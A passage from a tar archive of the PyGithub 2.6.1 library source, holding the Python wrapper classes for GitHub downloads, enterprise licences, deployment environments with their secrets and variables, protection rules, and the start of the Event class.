Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any from github.GithubObject import Attribute, CompletableGithubObject, NotSet class Download(CompletableGithubObject): """ This class represents Downloads. The reference can be found here https://docs.github.com/en/rest/reference/repos """ def _initAttributes(self) -> None: self._accesskeyid: Attribute[str] = NotSet self._acl: Attribute[str] = NotSet self._bucket: Attribute[str] = NotSet self._content_type: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._description: Attribute[str] = NotSet self._download_count: Attribute[int] = NotSet self._expirationdate: Attribute[datetime] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._mime_type: Attribute[str] = NotSet self._name: Attribute[str] = NotSet self._path: Attribute[str] = NotSet self._policy: Attribute[str] = NotSet self._prefix: Attribute[str] = NotSet self._redirect: Attribute[bool] = NotSet self._s3_url: Attribute[str] = NotSet self._signature: Attribute[str] = NotSet self._size: Attribute[int] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value}) @property def accesskeyid(self) -> str: self._completeIfNotSet(self._accesskeyid) return self._accesskeyid.value @property def acl(self) -> str: self._completeIfNotSet(self._acl) return self._acl.value @property def bucket(self) -> str: self._completeIfNotSet(self._bucket) return self._bucket.value @property def content_type(self) -> str: self._completeIfNotSet(self._content_type) return self._content_type.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property def download_count(self) -> int: self._completeIfNotSet(self._download_count) return self._download_count.value @property def expirationdate(self) -> datetime: self._completeIfNotSet(self._expirationdate) return self._expirationdate.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def mime_type(self) -> str: self._completeIfNotSet(self._mime_type) return self._mime_type.value @property def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property def path(self) -> str: self._completeIfNotSet(self._path) return self._path.value @property def policy(self) -> str: self._completeIfNotSet(self._policy) return self._policy.value @property def prefix(self) -> str: self._completeIfNotSet(self._prefix) return self._prefix.value @property def redirect(self) -> bool: self._completeIfNotSet(self._redirect) return self._redirect.value @property def s3_url(self) -> str: self._completeIfNotSet(self._s3_url) return self._s3_url.value @property def signature(self) -> str: self._completeIfNotSet(self._signature) return self._signature.value @property def size(self) -> int: self._completeIfNotSet(self._size) return self._size.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/downloads/{id} `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "accesskeyid" in attributes: # pragma no branch self._accesskeyid = self._makeStringAttribute( attributes["accesskeyid"] ) # pragma no cover (was covered only by create_download, which has been removed) if "acl" in attributes: # pragma no branch self._acl = self._makeStringAttribute( attributes["acl"] ) # pragma no cover (was covered only by create_download, which has been removed) if "bucket" in attributes: # pragma no branch self._bucket = self._makeStringAttribute( attributes["bucket"] ) # pragma no cover (was covered only by create_download, which has been removed) if "content_type" in attributes: # pragma no branch self._content_type = self._makeStringAttribute(attributes["content_type"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "download_count" in attributes: # pragma no branch self._download_count = self._makeIntAttribute(attributes["download_count"]) if "expirationdate" in attributes: # pragma no branch self._expirationdate = self._makeDatetimeAttribute( attributes["expirationdate"] ) # pragma no cover (was covered only by create_download, which has been removed) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "mime_type" in attributes: # pragma no branch self._mime_type = self._makeStringAttribute( attributes["mime_type"] ) # pragma no cover (was covered only by create_download, which has been removed) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "path" in attributes: # pragma no branch self._path = self._makeStringAttribute( attributes["path"] ) # pragma no cover (was covered only by create_download, which has been removed) if "policy" in attributes: # pragma no branch self._policy = self._makeStringAttribute( attributes["policy"] ) # pragma no cover (was covered only by create_download, which has been removed) if "prefix" in attributes: # pragma no branch self._prefix = self._makeStringAttribute( attributes["prefix"] ) # pragma no cover (was covered only by create_download, which has been removed) if "redirect" in attributes: # pragma no branch self._redirect = self._makeBoolAttribute( attributes["redirect"] ) # pragma no cover (was covered only by create_download, which has been removed) if "s3_url" in attributes: # pragma no branch self._s3_url = self._makeStringAttribute( attributes["s3_url"] ) # pragma no cover (was covered only by create_download, which has been removed) if "signature" in attributes: # pragma no branch self._signature = self._makeStringAttribute( attributes["signature"] ) # pragma no cover (was covered only by create_download, which has been removed) if "size" in attributes: # pragma no branch self._size = self._makeIntAttribute(attributes["size"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Enterprise.py0000644000175100001660000001231714756101563016746 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Mark Amery # # Copyright 2023 Trim21 # # Copyright 2023 YugoHino # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import urllib.parse from typing import Any, Dict from github.EnterpriseConsumedLicenses import EnterpriseConsumedLicenses from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet from github.Requester import Requester class Enterprise(NonCompletableGithubObject): """ This class represents Enterprises. Such objects do not exist in the Github API, so this class merely collects all endpoints the start with /enterprises/{enterprise}/. See methods below for specific endpoints and docs. https://docs.github.com/en/enterprise-cloud@latest/rest/enterprise-admin?apiVersion=2022-11-28 """ def _initAttributes(self) -> None: self._enterprise: Attribute[str] = NotSet self._url: Attribute[str] = NotSet def __init__( self, requester: Requester, enterprise: str, ): enterprise = urllib.parse.quote(enterprise) super().__init__(requester, {}, {"enterprise": enterprise, "url": f"/enterprises/{enterprise}"}) def __repr__(self) -> str: return self.get__repr__({"enterprise": self._enterprise.value}) @property def enterprise(self) -> str: return self._enterprise.value @property def url(self) -> str: return self._url.value def get_consumed_licenses(self) -> EnterpriseConsumedLicenses: """ :calls: `GET /enterprises/{enterprise}/consumed-licenses `_ """ headers, data = self._requester.requestJsonAndCheck("GET", self.url + "/consumed-licenses") if "url" not in data: data["url"] = self.url + "/consumed-licenses" return EnterpriseConsumedLicenses(self._requester, headers, data, completed=True) def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "enterprise" in attributes: # pragma no branch self._enterprise = self._makeStringAttribute(attributes["enterprise"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/EnterpriseConsumedLicenses.py0000644000175100001660000001320214756101563022124 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2023 YugoHino # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, CompletableGithubObject, NotSet from github.NamedEnterpriseUser import NamedEnterpriseUser from github.PaginatedList import PaginatedList class EnterpriseConsumedLicenses(CompletableGithubObject): """ This class represents license consumed by enterprises. The reference can be found here https://docs.github.com/en/enterprise-cloud@latest/rest/enterprise-admin/license#list-enterprise-consumed-licenses """ def _initAttributes(self) -> None: self._enterprise: Attribute[str] = NotSet self._total_seats_consumed: Attribute[int] = NotSet self._total_seats_purchased: Attribute[int] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"enterprise": self._enterprise.value}) @property def enterprise(self) -> str: self._completeIfNotSet(self._enterprise) return self._enterprise.value @property def total_seats_consumed(self) -> int: return self._total_seats_consumed.value @property def total_seats_purchased(self) -> int: return self._total_seats_purchased.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def get_users(self) -> PaginatedList[NamedEnterpriseUser]: """ :calls: `GET /enterprises/{enterprise}/consumed-licenses `_ """ url_parameters: Dict[str, Any] = {} return PaginatedList( NamedEnterpriseUser, self._requester, self.url, url_parameters, headers=None, list_item="users", firstData=self.raw_data, firstHeaders=self.raw_headers, ) def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "enterprise" in attributes: # pragma no branch self._enterprise = self._makeStringAttribute(attributes["enterprise"]) if "total_seats_consumed" in attributes: # pragma no branch self._total_seats_consumed = self._makeIntAttribute(attributes["total_seats_consumed"]) if "total_seats_purchased" in attributes: # pragma no branch self._total_seats_purchased = self._makeIntAttribute(attributes["total_seats_purchased"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Environment.py0000644000175100001660000003246714756101563017142 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Jannis Gebauer # # Copyright 2017 Simon # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Andrew Dawes <53574062+AndrewJDawes@users.noreply.github.com> # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2023 alson # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import github.EnvironmentDeploymentBranchPolicy import github.EnvironmentProtectionRule from github.GithubObject import Attribute, CompletableGithubObject, NotSet from github.PaginatedList import PaginatedList from github.PublicKey import PublicKey from github.Secret import Secret from github.Variable import Variable if TYPE_CHECKING: from github.EnvironmentDeploymentBranchPolicy import EnvironmentDeploymentBranchPolicy from github.EnvironmentProtectionRule import EnvironmentProtectionRule class Environment(CompletableGithubObject): """ This class represents Environment. The reference can be found here https://docs.github.com/en/rest/reference/deployments#environments """ def _initAttributes(self) -> None: self._created_at: Attribute[datetime] = NotSet self._deployment_branch_policy: Attribute[EnvironmentDeploymentBranchPolicy] = NotSet self._environments_url: Attribute[str] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._name: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._protection_rules: Attribute[list[EnvironmentProtectionRule]] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def deployment_branch_policy( self, ) -> EnvironmentDeploymentBranchPolicy: self._completeIfNotSet(self._deployment_branch_policy) return self._deployment_branch_policy.value @property def environments_url(self) -> str: """ :type: string """ return self._environments_url.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def protection_rules( self, ) -> list[EnvironmentProtectionRule]: self._completeIfNotSet(self._protection_rules) return self._protection_rules.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: """ :type: string """ # Construct url from environments_url and name, if self._url. is not set if self._url is NotSet: self._url = self._makeStringAttribute(self.environments_url + "/" + self.name) return self._url.value def get_public_key(self) -> PublicKey: """ :calls: `GET /repositories/{repository_id}/environments/{environment_name}/secrets/public-key `_ :rtype: :class:`PublicKey` """ # https://stackoverflow.com/a/76474814 # https://docs.github.com/en/rest/secrets?apiVersion=2022-11-28#get-an-environment-public-key headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/secrets/public-key") return PublicKey(self._requester, headers, data, completed=True) def create_secret(self, secret_name: str, unencrypted_value: str) -> Secret: """ :calls: `PUT /repositories/{repository_id}/environments/{environment_name}/secrets/{secret_name} `_ """ assert isinstance(secret_name, str), secret_name assert isinstance(unencrypted_value, str), unencrypted_value public_key = self.get_public_key() payload = public_key.encrypt(unencrypted_value) put_parameters = { "key_id": public_key.key_id, "encrypted_value": payload, } self._requester.requestJsonAndCheck("PUT", f"{self.url}/secrets/{secret_name}", input=put_parameters) return Secret( requester=self._requester, headers={}, attributes={ "name": secret_name, "url": f"{self.url}/secrets/{secret_name}", }, completed=False, ) def get_secrets(self) -> PaginatedList[Secret]: """ Gets all repository secrets. """ return PaginatedList( Secret, self._requester, f"{self.url}/secrets", None, attributesTransformer=PaginatedList.override_attributes({"secrets_url": f"{self.url}/secrets"}), list_item="secrets", ) def get_secret(self, secret_name: str) -> Secret: """ :calls: 'GET /repositories/{repository_id}/environments/{environment_name}/secrets/{secret_name} `_ """ assert isinstance(secret_name, str), secret_name return Secret( requester=self._requester, headers={}, attributes={"url": f"{self.url}/secrets/{secret_name}"}, completed=False, ) def create_variable(self, variable_name: str, value: str) -> Variable: """ :calls: `POST /repositories/{repository_id}/environments/{environment_name}/variables/{variable_name} `_ """ assert isinstance(variable_name, str), variable_name assert isinstance(value, str), value post_parameters = { "name": variable_name, "value": value, } self._requester.requestJsonAndCheck("POST", f"{self.url}/variables", input=post_parameters) return Variable( self._requester, headers={}, attributes={ "name": variable_name, "value": value, "url": f"{self.url}/variables/{variable_name}", }, completed=False, ) def get_variables(self) -> PaginatedList[Variable]: """ Gets all repository variables :rtype: :class:`PaginatedList` of :class:`Variable` """ return PaginatedList( Variable, self._requester, f"{self.url}/variables", None, attributesTransformer=PaginatedList.override_attributes({"variables_url": f"{self.url}/variables"}), list_item="variables", ) def get_variable(self, variable_name: str) -> Variable: """ :calls: 'GET /orgs/{org}/variables/{variable_name} `_ :param variable_name: string :rtype: Variable """ assert isinstance(variable_name, str), variable_name return Variable( requester=self._requester, headers={}, attributes={"url": f"{self.url}/variables/{variable_name}"}, completed=False, ) def delete_secret(self, secret_name: str) -> bool: """ :calls: `DELETE /repositories/{repository_id}/environments/{environment_name}/secrets/{secret_name} `_ :param secret_name: string :rtype: bool """ assert isinstance(secret_name, str), secret_name status, headers, data = self._requester.requestJson("DELETE", f"{self.url}/secrets/{secret_name}") return status == 204 def delete_variable(self, variable_name: str) -> bool: """ :calls: `DELETE /repositories/{repository_id}/environments/{environment_name}/variables/{variable_name} `_ :param variable_name: string :rtype: bool """ assert isinstance(variable_name, str), variable_name status, headers, data = self._requester.requestJson("DELETE", f"{self.url}/variables/{variable_name}") return status == 204 def _useAttributes(self, attributes: dict[str, Any]) -> None: if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "deployment_branch_policy" in attributes: # pragma no branch self._deployment_branch_policy = self._makeClassAttribute( github.EnvironmentDeploymentBranchPolicy.EnvironmentDeploymentBranchPolicy, attributes["deployment_branch_policy"], ) if "environments_url" in attributes: self._environments_url = self._makeStringAttribute(attributes["environments_url"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "protection_rules" in attributes: # pragma no branch self._protection_rules = self._makeListOfClassesAttribute( github.EnvironmentProtectionRule.EnvironmentProtectionRule, attributes["protection_rules"], ) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/EnvironmentDeploymentBranchPolicy.py0000644000175100001660000000777214756101563023502 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2023 alson # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class EnvironmentDeploymentBranchPolicy(NonCompletableGithubObject): """ This class represents a deployment branch policy for an environment. The reference can be found here https://docs.github.com/en/rest/reference/deployments#environments """ def _initAttributes(self) -> None: self._custom_branch_policies: Attribute[bool] = NotSet self._protected_branches: Attribute[bool] = NotSet def __repr__(self) -> str: return self.get__repr__({}) @property def custom_branch_policies(self) -> bool: return self._custom_branch_policies.value @property def protected_branches(self) -> bool: return self._protected_branches.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "custom_branch_policies" in attributes: # pragma no branch self._custom_branch_policies = self._makeBoolAttribute(attributes["custom_branch_policies"]) if "protected_branches" in attributes: # pragma no branch self._protected_branches = self._makeBoolAttribute(attributes["protected_branches"]) class EnvironmentDeploymentBranchPolicyParams: """ This class presents the deployment branch policy parameters as can be configured for an Environment. """ def __init__(self, protected_branches: bool = False, custom_branch_policies: bool = False): assert isinstance(protected_branches, bool) assert isinstance(custom_branch_policies, bool) self.protected_branches = protected_branches self.custom_branch_policies = custom_branch_policies def _asdict(self) -> dict: return { "protected_branches": self.protected_branches, "custom_branch_policies": self.custom_branch_policies, } ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/EnvironmentProtectionRule.py0000644000175100001660000001270614756101563022033 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Nick Campbell # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2022 Marco Köpcke # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2023 alson # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.EnvironmentProtectionRuleReviewer from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet if TYPE_CHECKING: from github.EnvironmentProtectionRuleReviewer import EnvironmentProtectionRuleReviewer class EnvironmentProtectionRule(NonCompletableGithubObject): """ This class represents a protection rule for an environment. The reference can be found here https://docs.github.com/en/rest/reference/deployments#environments """ def _initAttributes(self) -> None: self._id: Attribute[int] = NotSet self._node_id: Attribute[str] = NotSet self._reviewers: Attribute[list[EnvironmentProtectionRuleReviewer]] = NotSet self._type: Attribute[str] = NotSet self._wait_timer: Attribute[int] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value}) @property def id(self) -> int: return self._id.value @property def node_id(self) -> str: return self._node_id.value @property def reviewers( self, ) -> list[EnvironmentProtectionRuleReviewer]: return self._reviewers.value @property def type(self) -> str: return self._type.value @property def wait_timer(self) -> int: return self._wait_timer.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "reviewers" in attributes: # pragma no branch self._reviewers = self._makeListOfClassesAttribute( github.EnvironmentProtectionRuleReviewer.EnvironmentProtectionRuleReviewer, attributes["reviewers"], ) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) if "wait_timer" in attributes: # pragma no branch self._wait_timer = self._makeIntAttribute(attributes["wait_timer"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/EnvironmentProtectionRuleReviewer.py0000644000175100001660000001214114756101563023535 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Nick Campbell # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2023 alson # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any import github.NamedUser import github.Team from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class EnvironmentProtectionRuleReviewer(NonCompletableGithubObject): """ This class represents a reviewer for an EnvironmentProtectionRule. The reference can be found here https://docs.github.com/en/rest/reference/deployments#environments """ def _initAttributes(self) -> None: self._reviewer: Attribute[github.NamedUser.NamedUser | github.Team.Team] = NotSet self._type: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"type": self._type.value}) @property def reviewer(self) -> github.NamedUser.NamedUser | github.Team.Team: return self._reviewer.value @property def type(self) -> str: return self._type.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "reviewer" in attributes and "type" in attributes: # pragma no branch assert attributes["type"] in ("User", "Team") if attributes["type"] == "User": self._reviewer = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["reviewer"]) elif attributes["type"] == "Team": self._reviewer = self._makeClassAttribute(github.Team.Team, attributes["reviewer"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) class ReviewerParams: """ This class presents reviewers as can be configured for an Environment. """ def __init__(self, type_: str, id_: int): assert isinstance(type_, str) and type_ in ("User", "Team") assert isinstance(id_, int) self.type = type_ self.id = id_ def _asdict(self) -> dict: return { "type": self.type, "id": self.id, } ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Event.py0000644000175100001660000001404614756101563015710 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2013 martinqt # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.GithubObject import github.NamedUser import github.Organization import github.Repository from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class Event(NonCompletableGithubObject): """ This class represents Events. The reference can be found here https://docs.github.com/en/rest/reference/activity#events The OpenAPI schema can be found at - /components/schemas/event """ def _initAttributes(self) -> None: self._actor: Attribute[github.NamedUser.NamedUser] = NotSet self._created_at: Attribute[datetime] = NotSet self._id: Attribute[str] = NotSet self._org: Attribute[github.Organization.Organization] = NotSet self._payload: Attribute[dict[str, Any]] = NotSet self._public: Attribute[bool] = NotSet self._repo: Attribute[github.Repository.Repository] = NotSet self._type: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "type": self._type.value}) @property def actor(self) -> 